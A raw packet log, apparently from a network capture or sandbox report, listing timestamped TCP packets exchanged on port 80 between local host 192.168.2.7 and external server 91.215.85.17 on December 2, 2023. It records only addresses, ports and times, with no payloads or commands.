Dec 2, 2023 18:01:44.100378990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100384951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100393057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100405931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100405931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100452900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100454092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100462914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100471020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100476980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100487947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100495100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100503922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100511074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100517988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100521088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100543976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100574017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100598097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100646019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100661993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100756884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100764990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100783110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100794077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100807905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100816011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100883007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100909948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100940943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101233006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101244926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101254940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101265907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101310015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101320028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101325989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101337910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101392984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101392984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101392984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101402998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101411104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101418018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101432085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101438999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101447105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101459980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101466894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101475000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101484060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101491928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101528883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101530075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101530075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.101629019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.101727962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102303982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102435112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102468014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102477074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102483988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102490902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102497101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102509975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102518082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102524996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102539062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102541924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102541924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102541924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102547884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102559090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102566004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102632046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102632046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102778912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102788925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102796078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102802038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102808952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102822065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102828979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102835894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102847099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102854013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102876902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102876902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102876902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102941036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.102962971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102971077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102982044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102993965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.102999926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103008032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103015900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103023052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103028059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103029966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103038073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103044987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103050947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103058100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103065014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103072882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103085041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103116989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103116989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103116989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103143930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103468895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103509903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103606939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103614092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103626966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103634119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103641033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103648901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103683949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103683949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103699923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103708029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103714943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103728056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103779078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.103801012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103809118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.103931904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104377031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104473114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104481936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104624033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104628086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104638100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104645014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104656935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104664087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104672909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104680061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104691029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104697943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104705095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104711056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104722977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104731083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104737043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104748964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104753971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104753971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104753971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104757071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104767084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104779005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104785919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104794979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104801893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104809999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104818106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104826927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104826927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104826927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104870081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.104985952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.104985952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105014086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105021954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105029106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105041027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105046988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105055094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105062008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105073929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105079889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105087996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105096102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105098963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105098963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105104923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105113983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105119944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105119944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105175018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105380058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105387926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105393887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105406046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105415106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105458975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105472088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105472088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105518103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105530024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105537891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105545044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105551958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105568886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105578899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105585098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105592012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105593920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105593920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105600119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105607986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105614901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105622053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105628967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105632067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105632067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105652094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105663061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105670929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105721951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105745077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105801105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.105834961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105843067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105940104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105947971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105954885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105967999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.105984926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106010914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106017113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106017113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106019974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106029034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106040955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106049061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106056929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106117964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106127977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106136084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106148958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106156111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106163025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106172085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106180906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106180906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106180906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106209040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106216908 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106221914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106231928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106245041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106251955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106261015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106268883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106275082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106281996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106281996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106328011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106328011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106405020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106415033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106507063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106528997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106539011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106554031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106606960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106616020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.106626987 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.106679916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107144117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107151985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107160091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107178926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107187033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107196093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107202053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107213974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107223034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107230902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107239962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107239962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107259989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107263088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107273102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107281923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107290030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107297897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107323885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107348919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107348919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107383013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107392073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107398987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107500076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107510090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107517004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107528925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107537031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.107585907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107585907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.107585907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108042002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108050108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108056068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108071089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108078003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108083963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108091116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108102083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108108044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108114958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108123064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108164072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108164072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108164072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108180046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108191967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108197927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108203888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108210087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108216047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108226061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108233929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108241081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108253002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108262062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108282089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108282089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108282089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108304977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108319998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108333111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108339071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108402967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108409882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108417034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108431101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108463049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108463049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108546019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108555079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108572006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108580112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108587027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108593941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108637094 CET	49713	80	192.168.2.7	91.215.85.17
